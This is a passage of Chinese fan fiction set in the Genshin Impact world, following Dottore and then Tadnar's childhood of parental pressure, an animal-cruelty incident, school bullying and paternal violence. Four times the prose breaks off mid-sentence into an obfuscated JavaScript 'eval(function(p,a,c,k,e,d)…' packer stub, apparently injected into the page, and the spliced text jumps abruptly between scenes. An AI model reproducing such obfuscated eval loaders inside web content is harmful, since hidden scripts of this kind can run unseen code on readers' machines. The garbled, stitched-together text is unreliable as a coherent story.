昏迷的青年似乎正处于极端的痛苦之中,即使是隔着手套多托雷也能感受到后背明显的濡湿。当然,更明显的则是青年抑制不住的抽搐和颤抖。 在被抱起的一瞬,青年无意识地用手指抓住多托雷胸口的衣料,指关节因为疼痛而泛着死寂的青白色。 多托雷任由了这样的动作发生。 青年的状态显而易见,除了那瓶被强硬灌下的苹果酿,没有任何一件东西会引起青年此时的异样。而那瓶苹果酿里面的特殊事物,如今也不难猜想,必然是青年这段时间所一直追寻的,那段被篡改、残缺的记忆。 该阻止吗? 不,如果一开始便是如此打算的话,多托雷便会直接销毁那瓶苹果酿,连一丝一毫的可乘之机都不会留下。 但事实上,现在的情况至少有一半都是多托雷亲手促成的。 多托雷长久地注视着怀中的青年,难得地想起了与Theta切片过往的对话。 那在创造之初被刻意抽走了灵魂中的余恨的切片,多托雷在这样做的当初或许只是因为一点微不足道的好奇,以至于这项或许该称作“实验”的进程后续的结果和发展如何,都没有再更多地投入和关注过。 或者,换一句话,Theta切片在被改造情感而制作出来,成为这场检测另一个可能的实验体时,便已经成为了“失败品”。 切片里的失败品。 这样的失败品,甚至有的时候比成功品更加容易能够得到多托雷的信任,以至于,最先脱离控制的切片,竟然会是这个失败品。 “我依然坚持我的观点,‘本体’。我与你不同。” “呵,当然,当然。你的说法也不无道理。本体和切片,灵魂出自同源但也会因为环境的不同产生一些变化。若从这样浅显的表面判断,确实也可以说‘你与我不同’。” “不。我是指,我与你,从本源上来看,也是完全不同的存在。” 多托雷:“……” 多托雷转头看着与自己样貌几乎完全一致的Theta切片。 “哦?或许你可以向我解释你那刚出炉的、天马行空的见解?” Theta切片突然笑起来。他退后两步,几乎要捧腹。 “你在生气?还是愤怒?认为我的想法和行为开始超脱控制了是吗?” “我只是觉得愚昧。你的说法毫无道理。” "做那些冷冰冰的研究才需要什么道理。人是无序的、无规则的、难以捉摸的。‘本体’,你太傲慢了,以至于看不清这一点。" 多托雷勾了勾唇:“你认为自己是‘人’?” “难道不是吗?”Theta切片如此理所当然。 多托雷感到一点烦躁。无端地。 他决定驱逐这位令人心烦的“客人”了。 “如果你的想法仅限于此,那么,还是闭嘴吧。我的时间十分宝贵,很显然没有多余的可以拿来听你的胡言。” “我明白你的想法,‘本体’。尽管你不想承认,认为我是‘失败品’,但你不能不承认,我依然是所有切片中最能看懂你的存在,且,你在为此感到恐惧。” “可笑的论点。” “好吧好吧,无论这论点是否可笑,是否真实,总之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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直到我搬弄着声带,叫出第一声不成样子的“妈妈”时,我才从母亲的脸上看到第一个与夜晚门口台阶上被拥入怀中低语诉说期盼时完全不同的神色。 那是真正的“高兴”。 “看啊,阿赫里曼,我们的孩子会叫‘妈妈’了。多么令人喜悦。伟大的大慈树王在上,请保佑我们的孩子塔德纳,令他的未来足够聪慧,足够光伟。” 就连父亲也露出了高兴的笑容。他将我从摇篮里抱起,属于父亲的力量和温暖将我的身体举高。 “没错,我们的孩子塔德纳将会成为最聪慧、最有成就的人。” 父亲是寡言的严肃派,即使是相伴一生的母亲也极少能看到父亲如此开心,喜不自胜的样子。在尚未完全开智的这段时间,是我人生中最为轻松,最为自在的时刻。 只可惜,人总是要长大的。 等到可以说话的年岁,父母开始抽出时间教导我成为一名须弥的学者所必需的知识,我被要求完成每日至少七个小时的学习任务,从识字到人文常识,慢慢再到因论派的专业知识。 他们为我选定了因论派的道路,并希望我能成为可以超越他们成就的学者。 我偶尔坐在书房会欣羡地看向窗外嬉笑吵闹的同龄人,看着那些明明和我同意年岁的孩子用草编蚂蚱,采花编花圈,或是一群人排成一个长队,一人抓着前一人的衣角,而余下的一个孩子则作抓取之态,被抓住的孩子则顶替他的位置。 我是那样的好奇,对这种绝不可能会在书中记载的活动生出了想要探索的欲望。 于是我问母亲:“他们这是在干什么啊?” 母亲脸色大变,用力地拉上窗帘。 我看到她匆匆地跑出去,驱赶了外面的孩童。 “那是一群坏孩子,我已经赶跑他们了。你是要成为学者,做出一番成就的人,塔德纳。你的未来会和他们是完全不相交的平行线,不要去理会他们。” 母亲脸上的神色是那样的可怖,那样的阴沉。 我抿了抿唇,紧张地点了点头。 那扇窗户很快被用砖块封死,父母在书房安装了更多的灯。 我再也没听到过窗外孩童开心的嬉闹,也再没看到过一队孩子拉成一队,一人捉人的游戏。 书房足够把人的影子都照没,没有温度的灯光成了我世界的“太阳”。 117.第 117 章 我的人生无趣多过有趣,听从多于自主,盲目多于智慧。 但既是孩童,总有可称“顽劣”的时候。 “塔德纳,这是你叔叔家的孩子,叫‘希琳’。你们要好好相处哦。” 亲戚家的孩子,是我在这个世界上存在八九年后第一个正是有过接触的、真正意义上的同龄人。 那是一个可爱的女孩子,与我不同的是,她富有活力,与其父母的相处和交谈也更加平等,令人欣羡。 母亲平日不会允许我与其他孩子一起玩耍,她更希望我把有限的人生时间用在提升自己的知识水平上面,而今天的情况,稍微有点不一样。 托这位第一次见面的希琳的福,我总算可以在身边没有大人的情况下出门。 我跟随着希琳走出房子。迈出这座房子的第一瞬感受到的是阳光的温暖,空气中弥漫的花香,一切是那样令人舒适。 我对这样“新奇”的体验无比惊奇且陌生,忍不住回头看了一眼。 高大的房屋,从来没有想过要去触碰的大门的门把手。 客厅里,父母正在与希琳的父母交谈。从母亲的话语里我得知,希琳的父亲在教令院身居要职。 “塔德纳是一个很乖巧的孩子,比我家的希琳可好多了。哈哈,说起来,希琳的脾气偶尔让我也感到很为难呢,和她的母亲简直就是一个模子里刻出来的。” “哦?看来你是觉得像我的脾气不好咯?” “我可没说。” 如此和谐。 我看见父母略带着小心翼翼的恭维。 “哪里哪里。我们倒也希望塔德纳能够像希琳那样更活泼一点呢。” 骗子。 父母明明都是一直要我变得更乖巧懂事,也不喜欢那些闹哄哄的孩子。 不过,希琳确实和那些会在窗户外面排成一个长队嬉闹的孩子不一样。她对我这样一个初次见面的孩子也相当友善,至少在当时那个初次接触外人的我看来,是那样令人向往。 “塔德纳,你好,我叫‘希琳’,‘希琳’是‘甜的,愉快的’意思哦。” 希琳脸上的笑容很灿烂,也很温暖。 “我们一起去玩吧!来的时候我看见了一个地方有好多好漂亮的花!我会编花环,你要不要学?我可以教你哦!” 那着实是一段相当愉快的时光。 年幼的我被希琳拉着手带着跑,直到她所说的那块花田。那确实是一块很漂亮的花田,长着许多认识的或不认识的花。 当然,其中最多的还是须弥蔷薇。经过改良的蔷薇品种,甚至在雨林和沙漠的一些边界地区也有生长。 这是我在书里看到过的。 我把这个知识告诉了希琳,希琳眼睛闪闪的。 “天呐,你连这个都知道吗?塔德纳你好厉害。” 我有些不好意思,但心中的欢喜像是大力摇晃后顶破瓶盖的汽水,怎么也抑制不住。 我也终于稍微轻松了点:“没有啦。都是在书里看到的。” “真好。我的爸爸妈妈就只会给我讲故事书里面的东西。他们说我还太小了,等以后去上学了就会知道这些东西了。我也想像塔德纳你这样什么都知道。” 来自同龄人的夸赞几乎要让我飘飘然不知身在何处了。 那些平日根本用不上的知识,在此刻,至少仅是“让希琳觉得我很厉害”这样的成果,也足以让我被小小胸腔里升腾的成就感冲昏头脑。 或许,每日困囿于要一遍又一遍仔细研读才能勉强记住的枯燥文字里,也并不是一件没有意义的事情。 “那塔德纳,你会编花环吗?” “啊……这个,好像不太会……” “诶,书里没有教这个吗?” “我不知道……我,我没看见过这种书。” 我以为希琳会因为我不知道如何编花环而对我失望,但幸运的是,并没有。 希琳似乎只是随口一问,随即便热情地邀请我,教我一起编花环。 希琳和父母不一样,不会因为我“不知道什么”而对我失望。 这太好了。 我感到开心,轻松,从迈出大门以来一直在心间盘旋的对陌生事物的恐惧也逐渐消减。 我希望我可以生活在阳光之下,身边有朋友相伴,希望得到夸奖,也希望—— 此刻的时光能够延续。 只可惜,那一天,我们遇到了一些不太好的事情。 附近的一群孩子,他们围在了一棵树下,而在他们的中间,是一只奄奄一息的小猫。 希琳听到小猫的声音拉着我前往的时候,我一眼认出那群孩子为首的男生是母亲一直警告我不要靠近的人。 母亲说过,那是一个“坏孩子”,做过许多坏事,之前还因为打架被学校休学了。 我有些害怕,想要劝希琳离开,但希琳的动作太快了。 她站出来,愤怒地质问:“你们在干什么?” “哪里来的小女孩?劝你别多管闲事。” “你!” 我拉住希琳的袖口,摇了摇头:“要不然算了吧……他们人那么多,而且……” “你这是什么话?”希琳很生气:“难不成我们就要看着他们欺负小猫吗?再不救那只小猫的话,小猫就快死了吧,我不能容忍这样的事情发生!” 是了,那只猫。躺在树根下,白色的猫毛都要被鲜血完全染红的小猫,只能发出一两声轻微的叫声。小猫身上的伤痕,分明是用刀划出来的,而在那群孩子之中,确实有人拿着小刀。 真相如何只需要稍作推理就能够看的出来了。 但…… 我看了看希琳脸上愤怒的表情,仍然有些犹豫,母亲警告过多次的“不要和那些孩子说话”的教诲一遍遍在耳边重现。 要帮忙吗?还是…… 我看向那群年龄和人数都要比我们多太多的孩子。 “你在说谁欺负猫了?我没有做那种事,不要胡乱污蔑别人。” “你们还想骗人?那只小猫上的伤口,除了你们,又有谁能够用刀伤害小猫?把猫给我们!” “哈?你倒是拿出证据来先证明是我们做的这种事啊?想要这只猫,门儿都没有。” 希琳气得脸颊通红,她含着泪看着我。 “塔德纳,你也说句话啊!你也看到了吧,他们有人拿着刀,肯定就是他们做的!” 确实是这样…… 我咬了咬牙,鼓足勇气才向前一步。 “那个……欺负小猫是不对的,你们……” 但我的话还没说完,就看见那群男孩子开始靠近我们,将我和希琳两个人包围在人群之中。 为首的那个男孩推了推我的肩膀,巨大的力度让我连战都站不稳,一屁股摔倒在地上。 “唔……” “不要多管闲事,我到底有没有欺负小猫还轮不到你这种小屁孩儿管。” “你们这样做,要是被爸爸妈妈知道了……” “哈,想告状?” 男孩伸了伸手,身边的同伴将一把小刀递到他的手里,那把小刀上满是鲜血,从我的距离甚至能够看到上面沾上的白色细毛。 这就是,他们用来伤害那只小猫的工具吗…… 我害怕地咽了口口水。 男孩拿着刀靠近我。 “我知道你,你就是‘塔德纳’是吧?喜欢装模做样装乖巧博取大人的喜欢,我最看不惯的就是你这种人了。” 那刀越逼越近,我吓得说不出话来,只能发抖,而希琳也怕得哭了出来。 哭声让这群人更加得势,他们甚至折返回去将数根已经快要死去的白猫拎过来,强硬着扯开希琳的手要把猫塞进她的怀里。 希琳吓坏了,如今的她似乎不再记得自己要救下这只小猫的话,只是一味地哭喊反抗,那只猫在几双手的推揉折腾中凄惨地叫起来,甚至反扑着咬伤了希琳。 他们哄笑着,似乎比起被虐待的猫咪,此刻围观被吓得不停哭泣,尖锐抵抗的希琳欺负起来更有意思,以至于我都快被冷落在一旁。 我从地上捡起刚才被随手丢在地上的那把小刀,一遍遍在心里重复“不能让希琳继续被欺负”,一边从地上爬起来。 “放,放开希琳!” 我握紧小刀向那群人冲去,混乱之中,我似乎听到有人惨叫了一声,手背上溅落了温热的什么液体。 “可恶,竟然敢划伤我!” “有人来了!” “啧……先走!晚点再和这家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“抱歉,希琳恐怕有些受惊过度,我们现在要去找医生检查下希琳的情况,就先走了。你们不要对塔德纳太过苛责了,他可能也并不是故意的。” 拒绝回答,在大人的眼中有的时候意味着另外的意思。 “没事没事。是我该说抱歉才对,你好不容易来一趟却碰见这种事。放心吧,我会好好收拾这混账一顿的。”父亲的语气中压抑着怒火。 我想不通,也无法理解明明知道真相的希琳为什么会在这个时候选择闭口不做任何回答。 作为这次“伤害他人”和“撒谎”的“惩罚”,父亲用藤条抽打了我的手心。 一次又一次,直到两只手都渗出血,连麻木的钝痛都再感受不到。 父亲让我将训诫的话语誊抄千遍。他或许没想过我肿胀疼痛的双手如今连笔都拿捏不住,又或者,他知道如此,只是要让我将这次的惩罚更牢固地铭记在心,所以才故意如此。 母亲从始至终都无法阻拦,我看出她脸上的心痛和不忍,只是终究被埋没于父亲的怒火之中。 在父亲愤怒离开后,母亲将我抱在怀里,替我上药处理,嘴里一遍遍地说着“以后不要再做错事”之类的话。 可是,我明明什么都没做错。 如果当时希琳能够站出来替我作证的话,是不是我就不会遭受这些了? 然而这个疑问终究只能作为疑问留存在心中了。 在那之后的几天,偶尔母亲出门的时候,我会偷偷打开门前往之前的地方。在那棵人迹罕至的树下,之前的白猫已经消失不见。 我找了几天,问了很多人,甚至差点撞上那天的那群男孩。 他们似乎也在蹲守我,想要等我再次出现时履行当时所说的“晚点算账”的话。 我避开了那些人。 经过几天的调查,才从一个孩子那里听到有人曾经晚上出现在那棵树附近过,与猫的尸体消失的时间很接近。而那个人也是个年龄不大的孩子,似乎是绿色的头发。 有人捡走了猫。 我不明白为什么那个人要做出这样的事,看起来还专门避开了别人的视野,我希望是可能的好心人专门收殓了那只猫,但现在的我已经没有心情考虑这么多了。 打听猫的下落也只是给这场惨烈的事件一个结局而已。 这件让我几乎耗尽了所有心力的事情也该结束了。 我也该接着向前了。 118.第 118 章 我再未见过希琳。也是当我越发大了后才明白,怯懦会让一个人明知道犯了错误也不敢去纠正。 这是庸人的痛楚。 希琳只是和我一样,都是昏聩的庸人而已。 再过了几年,我通过入学考试以优秀的成绩进入了学校。我在街坊间并不是合群的孩子,到了学校,自然也不会成为合群的孩子。 我没有朋友,被同学疏远,偶尔的合作学习作业也需要放下身段去苦苦恳求好心人收留。 欺凌的事情自然也是存在的,刚开始还只是无视,远离,直到后来发展成为言语和行为上的欺辱。 “不合群的怪人。” “他都不说话,不会是哑巴吧。” “头发留这么长,好阴暗,一看就不是什么好人。” “我听妈妈说他以前还伤过人,只不过被伤的人是亲戚所以没找他麻烦。” “原来他是这么坏的人……” 我不敢在父母面前提及这种事情,只能央求母亲帮我把头发再剪短一点。但情况依旧没有好转。 父亲很少会关注到我,偶尔过问关于我的事情也只是和成绩相关,但不幸的是,我并不是什么在学术上有着过人天赋的那种人,即使是因为父母的关系能够在最有名的学者手下学习,也才能平庸,渐渐地,父亲关注我的频率愈发的少了。 “我从塔德纳的老师那里问了塔德纳在学校的情况。没什么朋友,性格孤僻,不爱说话,脑子也一般。恐怕没什么成为学者的天赋。哎……” “塔德纳年纪还小,说不定等他再长大点……” “年纪小?他都快到申请教令院的年纪了,更别说,比他年纪更小的,又比他聪明、更有觉悟的一抓一大把。我从同事那里听说了,有一个比塔德纳还小好几岁的孩子,因为提出的论点和研究已经被教令院破格提前录取了。再看塔德纳……” “哎,塔德纳,至少,至少老师们都说过塔德纳很安静听话,也不算是一无是处……” “只是‘听话’,对一名学者而言没有任何的用处。那些有成就的学者,哪一个见到第一句话会是夸他们‘听话’的?要是你没把他教得这么唯唯诺诺的话,说不定现在的情况也不会糟糕成这个样子!” “可是……” 我看到母亲嗫嚅了一声。她似乎是想要反驳。 反驳什么呢? 反驳父亲从来都只是高高在上地来验收成果,仿佛“生育出一个未来须弥的学术之星”理所当然的是母亲的责任,责无旁贷,以至于成果不和期望的时候他便可以肆无忌惮地责怪。 但母亲最终还是闭嘴了。她嘴角的皱纹翕动。 “那,现在该怎么办?或许,贤者那边,我们可以去求一求,让那位带着塔德纳……” “不,没有必要了。没有必要再在那孩子上浪费那么多的资源了。既然这一次已经失败,那下一次就必须要成功。我们明天去找医生检查一下身体,只要第二个孩子能够做地比塔德纳更好……” 第二个……孩子…… 我时常能够看到在须弥的其他孩子。在能够出门上学后,我也总算能够有机会见到其他人。尽管更多的时候我都是找一个远一点的地方默默观察。 他们很多人也会有兄弟姐妹。 只是,他们的兄弟姐妹也是因为“父母对他们的失望”而诞生出来的吗? 我不清楚,但若他们的情况与我相同,那些孩子同他们的血亲又如何会那样融洽,那样珍视对方呢? 毕竟…… 我现在,可是嫉恨地想要让我还未出生的血亲永远无法出现在这个世上。 可是,这个想法并不正确,父母教导过我要成为一个正直善良的人。 伤害别人,是错误的。 我变得愈发沉默寡言,连面对母亲的时候也时常感觉如鲠在喉,如坐针毡。我待在学校的时间变得越发得多,即便学校里也有着我害怕的那些人,但我更不想看到父母对我露出的后悔和嫌弃的表情。 在学期末考核快来临的时候,学校发生了一件大事,父亲曾说过的,被教令院破格提前录取的那个人会来我们学校,届时,其研究成果也会被粘贴在学校最显眼的墙上供大家参观。 那样耀眼的人。 说不清是什么推动着我,我也在那一天随着人流下去,想要一睹那位天才的面容。但拥挤的人群比我想象中的还要庞大,我力气不大,被挤了出去,还撞到了别人。 “抱歉,我不是故意的,你没事吧……” “没事?你哪只眼睛看到我没事了?我衣服都被你弄脏了,你要怎么赔?” 真是糟糕,撞到的人恰好是平时看我最为不顺眼的那群人。 听说这家伙在校外认了一个老大,被他记恨上的话,就算是出了学校也不安全。 还是不要反抗比较好,只要让他把气消了这件事应该就过去了吧…… 我被拉着头发拽到教学楼的背面,脸朝下被人踩在后脑勺上。他们凌辱着我,话语左不过是平日里说过的那些已经说了一百遍的东西。 “肮脏”,“怪人”,“阴暗”,“脑子有问题”。 我对此已经麻木,只希望这场霸凌能够快点结束,这样我或许还能有时间出去找个合适的阴暗的角落,去看一眼那个连父亲都交口称赞的天才究竟长什么样。 嘴里被塞进杂草,被拳打脚踢,我只能徒劳地用双臂挡住自己的头。 要是在脸上留下了痕迹,回去又要被父亲训斥一顿,但只是身上的话,就可以用衣服遮起来,只要半夜的时候偷偷起来上点药就可以了。 我不知道这场欺凌持续了多久,只知道自己像是一只不倒翁一样被踢来踢去的。等到那群人终于结束离开,我才从地上慢慢地爬起来,从嘴里把东西扯出来,忍着痛去卫生间清理。 这个样子会被别人看到。 等把身上的泥土和血勉强收拾干净,才发现天都快黑了。外面早就没多少学生了,更别提那位天才。 我双手交叉环抱着自己仍在发痛的肚子,看了一圈周围确定没人后才敢靠近那堵粘贴了那位天才的学术成果的墙壁。 研究内容是生论派的学术内容,我看不懂那些,甚至连里面的专有名词也分辨不出来,但仅仅是从行文的文字也能窥得一点这位天才的名副其实。 通篇下来,我唯一能够识得的大概也只有最末尾的那个名字。 “赞迪克”。 似乎是有那位天才亲手写成,笔触随意,但仍富有力度。 我隔着玻璃窗摩挲着最后的那个名字,仿佛从平滑的水晶平面上也能够感受到笔墨渗进纸张后干涸的几分触感。 天才…… 真好啊,如果我也能是这样的天才,是不是父母就会对我更满意,也不会想要再要一个孩子了? 风吹过来,把显得有些宽大的衣服吹得晃了一晃,布料贴到伤痕累累的皮肤上,我感觉肚子上的伤好像更严重了一点。 好疼啊…… 我蜷着身子回了家。父母似乎不在客厅,我便自己在厨房找了一点午餐剩下的面包,本来想要再备一盘菜,就像平日回家错过饭点时自己做饭那样。 父亲从不允许在吃饭途中才回来加入,没能准时回家吃饭的人会被自动认为是不吃。 尽管他本人也会经常性地晚回,甚至是在未提前告知的情况下直接错过吃饭的时间点。于是我和母亲只能坐在饭桌前等他回来,这样的经历在我还小的时候经常发生。 但我现在实在是太痛了,柜子里虽然有还未处理的剩菜,但我现在也实在是提不起力气来进行加热,要不是胃已经在因为长时间未曾进食而开始疼痛抽搐,我甚至连进食的想法也不会有。 十分艰难地啃完了一片干巴巴的面包,喝了口凉水才勉强吞咽下去。 在我想要去书房拿医药箱的时候却听到了有人说话的声音。 从书房半掩的门口,可以听到父母压低的声音。 “医生说了,我的身体已经不适合再怀一次孕了,尽管调理了几个月,但年龄太大,加上身体上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“塔德纳,你长高了好多,已经快成为一个大人了。成了大人,以后可不能再不懂事了,要更努力学习。你爸爸虽然口头上不说,但他其实也是在意你的,当父亲的,自然都希望自己的孩子能够出人头地……” 我只是保持沉默,甚至连一点笑容都挤不出来。沉默地倾听,沉默地稍微蹲下来好让母亲能够用尺子够到我的肩膀。 不知何时,我已经长得比母亲高出很多了,渐渐不再依赖母亲,也不再期盼父亲会对我转变态度。 母亲说的或许是对的,父亲只是希望我能够出人头地罢了。 但我只是一颗永远也钻不出地的歹笋而已。 最后量裁出来的衣服,尺寸比之前大了很多,但腰腹的大小收缩了一点,再穿上就不会有一种宽松的感觉了。唯一的缺点是太修身的衣服会贴紧皮肤,被打了之后会很疼。 母亲也说我瘦了好多,要注意多吃饭才是。 那天的晚饭,父亲破天荒地心情不错,饭桌上的氛围也因为好了很多。母亲一直往我的碗里面夹肉,嘱咐我要多吃点,父亲也说让我多吃多运动,身为男人要身体强壮一点才对。 我全部点头称是,然后把母亲夹给我的所有菜都塞进嘴里,嚼碎了强迫自己吞下去。 胃在不停地反抗痉挛,尽管一天未进食,里面已经全是酸水,但我仍然没有任何的食欲,甚至,食物的味道只会让我感到恶心。 但我不敢拒绝。 要是在父亲面前说自己不想吃饭,恐怕会招惹更多的麻烦。 会被骂一顿吧……毕竟搅了父亲的心情。说不定还会被打。 而母亲……我也不想看到母亲对我露出后悔和心痛的表情。 这顿饭食不知味。 直到父母都离开,我才冲进卫生间将所有的食物都吐了出来。 血丝混着食物,以及胃里的酸水被吐出来,用水冲走。 我用冷水洗了把脸,看着镜子里惨白的自己,感受到一点绝望。 这样的日子,什么时候才能结束啊。 119.第 119 章 剧变的时间点比我想象中的还要快来临。 我本以为我这样懦弱又毫无能力的人终其一生都只能徒劳挣扎于家庭和才华不足的阴影下,但直到,一件事情的发生。 赞迪克提出了人体改造的可能论,一夜之间陷入了批判的漩涡。 即使是所谓的“天才”,在自己的道路违逆于大众所认同的道路时也同样会被无穷地贬低、猜度、批评。 “疯子”,“怪物”,“邪魔外道”,“违背伦理之人”。 恶毒的、幸灾乐祸的揣测从人们的口中吐出,而他们中的大多数,在赞迪克还被捧拥的时候明明还对赞迪克极尽过赞叹。 不过,比起我这种哪天消失了也不会引起丝毫波澜的,最普通,最不起眼的石子,赞迪克仍然是散发着夺人光彩的炫石,稍微的一点瑕疵并不足以让人放弃这块珍石。 几位颇有名望的学者合力为赞迪克进行了担保,这件事最后也不了了之。 对我而言,这件事在当时对我的唯一意义可能只是,父亲不再会在我面前再歆羡地提到赞迪克的名字。 自那之后几个月我才听说有一名因论派的学者在自己的文章中大肆批评了如今年轻学者学术态度和学术思想不端正的问题,甚至专门拿出了赞迪克的例子举例。文章被扣下未能正式发表,但掀起了一阵不小的波澜,就连被提及的正主,那位赞迪克也出面回应了这件事。 不过是毫不留情地反讽了一顿。撰写文章之人被他讥讽为“嫉妒天才的无能之辈,穷其一生连天才的脚背都无法抵达”。 那段时间,偶尔我回家会在卧房听到父亲喝醉后的怒骂声,大多是迷迷糊糊、口齿不清地训骂赞迪克的名字。 真是有趣。 即使是那样拼命想要培养出一个天才的父亲,真正见到此世的天才后,却并没有想象中的向往与尊崇。 母亲对此依然不发一言,只是会在父亲情绪失控高声怒骂的时候把大门和窗户都紧紧关上,然后尽可能地趁父亲没看到藏起柜子里的酒,然后躲在房间里锁上门。 自那次计划怀孕失败后,父母便不再居于一间卧房。 我不知道母亲是否会伤心这样与自己的丈夫渐行渐远的日子,但偶尔我似乎也能察觉到,再与父亲分开的日子越来越多后,母亲反而变得更加闲适。 她将更多的时间开始放在我的身上,而对于父亲,她依然表现得是一位合格的妻子、合格的母亲,只是少了许多激情。 我想起小的时候母亲会抱着我坐在房子的台阶前仰头数星星的日子。 在迈入家庭之前,母亲也曾是一位学者,为了更好地扶持家庭和教导我,在我出生后她便渐渐放下了自己的学者生涯。 我还记得,母亲来自于梨多梵谛学院,她对星象抱有最质朴的热爱,而对我的爱,或许并不明晰,但总是让她放弃了自己最热爱的星空。 在彻底认识到我的平庸和无法改变的命运后,母亲在嘱托我好好学习以及多理解父亲之余,也会思考我近些时日的衣食住行是否健康顺畅。她喜欢上替我裁剪衣服,每每看着我穿上她亲手裁剪出来的衣服之时,也会露出如最平常的母亲一般会露出的慈祥温柔的笑容。 那是我在偶尔精神快要完全崩塌之时能寻找到的最有效的安息之处。 当然,我的日子也并没有因为母亲对我愈发温柔照顾的态度而产生丝毫的好转。自之前被拉到教学楼惨烈的折磨后,那群人似乎从“欺负我”这件事上找到了一点乐趣。 也可能是因为神明更迭,须弥如今并不安稳的社会环境催生的浮躁的社会氛围,推动地这群人急迫地寻找一个能肆意发泄的口子。 而很不幸的是,我恰好就是那个“口”。 殴打,谩骂,有的时候这样常规的项目反而已经是最“仁慈”的选项,他们开始愚弄我的精神,乐于看着我在毫无选择余地的选项中纠结。 “听说你最近不太老实啊,我们的人找了你好几次你都不去,怎么,这么快就要避开我们走了吗?” 我被拖拽着头发拉到水池边。而在另一边,同样被几个人压着手和腿正在殴打的另一个人,则是班上的另一个男生,成绩倒数,性格也比较孤僻,自然同我一样成了这群人欺辱霸凌的对象。 毕竟,我们这样的人,没有老师和家长在意,胆子小到只要稍微恐吓威胁便会乖乖地答应不把自己被欺负的事情说出去。 那人松开了我的头发,紧接着一脚把我踹到地上。 “我问你话呢,不会说话吗?” 那一脚直踹到我胸骨上,疼得我一阵头晕眼花,只能蜷缩着身子咬紧牙关才能不发出痛苦的惨叫声。 按照一般的情况,要是在被打了后叫出来,反而会被更加□□地对待。越是沉默,才能让那群人早点失去兴趣。 这次,也同样如此。那人见我不说话,不应答,起初还有点生气,又往我身上狠狠踹了两脚,发现我没什么反应之后转而去和其他的同伴欺负另一个惨叫哭泣的人。 我趁着那些人注意力都放在另一个人身上从地上爬起来,两只手臂环抱着胸和腹部,冷眼看着另一个男生被那群人抓着后脑勺的头发按进水池里,那男生惨烈地挣扎着,一边挣扎一边呼救,又被人拉起来扇了两耳光。 玩够了,他们把那个男生提到我的面前,踢了踢我的膝盖。 “站起来,谁准你坐着的。” 我站起来,小腿上又接着挨了一踢,疼得我闷哼一声,踉跄了几步。 “啧,叫都不会叫的哑巴,真没意思。也别说我没给过你机会,来,只要你把这个废物推到那个水池里,我就放弃追究你之前的错误了,怎么样?” 他把那个瘦弱的男生扔到我的面前,一只脚还踩在他的身上,像踩着一块石头一样。 我抬头,只看到周围所有人脸上不怀好意的笑容。 明晃晃的戏弄。 “不……我……” “想拒绝?那你可得想好了,是你推他下去,还是你代替他下去?听说,你很爱惜自己的新衣服吧?既然这样,就先把你的衣服剪坏,然后把你绑到外面最显眼的地方,让所有人都看看你这个恶心的样子怎么样?” 衣服…… 不,唯独这个…… 我无力地看着细小戏谑围观的恶徒,以及地上瑟瑟发抖不敢反抗的男生。 我别无选择,除了如这群人期待地那般将与我相同处境,同样可怜的男生推下水池。 尽管我心知肚明这群人所允诺的“不会再追究我无视他们的传召”的话语完全不值得信任。 我没有想过要伤害别人。 但现在,我没有选择。 而且,只是将一个人推到水池里,也并不会有什么生命危险吧,更何况,我也是被威胁的,就算没有我,这个男生也会继续遭受到那群人的霸凌。 我……我也是被迫的。 我几乎完全不敢去看那个男生的表情。我害怕从他的脸上看到对我的鄙夷,尽管,彼时的那个男生恐怕也没有精力来鄙视我的不堪和卑劣。 但总之,我动手了。水花溅落的声音夹杂着男生挣扎的声音一起钻进我的耳窝。 我的双手不断地颤抖着,指间还停留着刚才触碰到另一个人后背的触感。 “哈哈,真滑稽,连游泳都不会的旱鸭子,挣扎的样子也太可笑了!” “看他那个样子,真没想到有人能在浅水区浮不起来,不会是因为重的和猪一样吧?” “哎哟,我说呢,难怪身上整天臭烘烘的,原来是牲畜。” 那群人看了一出好戏,嘻嘻哈哈闹哄地走了。直到那群人的声音再也听不到了,我才如梦初醒,跳进水池里把早就灌入太多水而昏迷不醒的男生捞到池边。 我本以为这件事情到此就能够结束,至少能让我再稍微苟且偷安几天,寻得一点若有若无的安宁。 但我没想到的是,那群人很快又返回了这里。 这一次,他们还带来了老师。 “老师,就是他!我们看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我颓然地坐在办公室的椅子上,在父母进来的时候甚至没能反应过来,直到被父亲狠狠地揪住耳朵提起来扇了一巴掌。 啪地一声。 我被扇地偏过头,脑袋嗡嗡响。 “你这个混账!我让你来学校读书,你倒好,还搞起了霸凌同学的混账事!我就知道,像你这种小时候就开始害人的东西,长大了也成不了什么好东西!我今天就要打死你这个耻辱!” “等等……阿赫里曼!不要打了!这也不是孩子的错,这里面肯定有什么隐情……我们先问问……” “问什么问?!这不都清清楚楚的吗?我们家没有这种会伤害别人的渣滓!这种混账,就不配继续活在这个世界上!” “塔德纳之前不也说过在学校受过欺负吗?他那么瘦,怎么可能会欺负别人?而且……” “欺负?呵,先不说他到底有没有说谎,就算真的有人欺负他,他也不想想,哪有苍蝇会叮无缝的蛋?肯定是他自己做了那些混账事。你让开,别拦着我,我今天就要好好教训一顿这个混账!” 母亲一直挡在我和父亲的中间试图拦住父亲,而房间里的其他的,老师和一名看管我的护卫队,虽然吓了一大跳但也没有上来阻拦的意思。 父亲气急了,竟然一手抓着母亲的头发把母亲扯开。母亲疼得叫了一声,但还是艰难地伸出一只手想要把我推开。 “快走,塔德纳!先走,这件事我会帮你解决……” 我:“……” 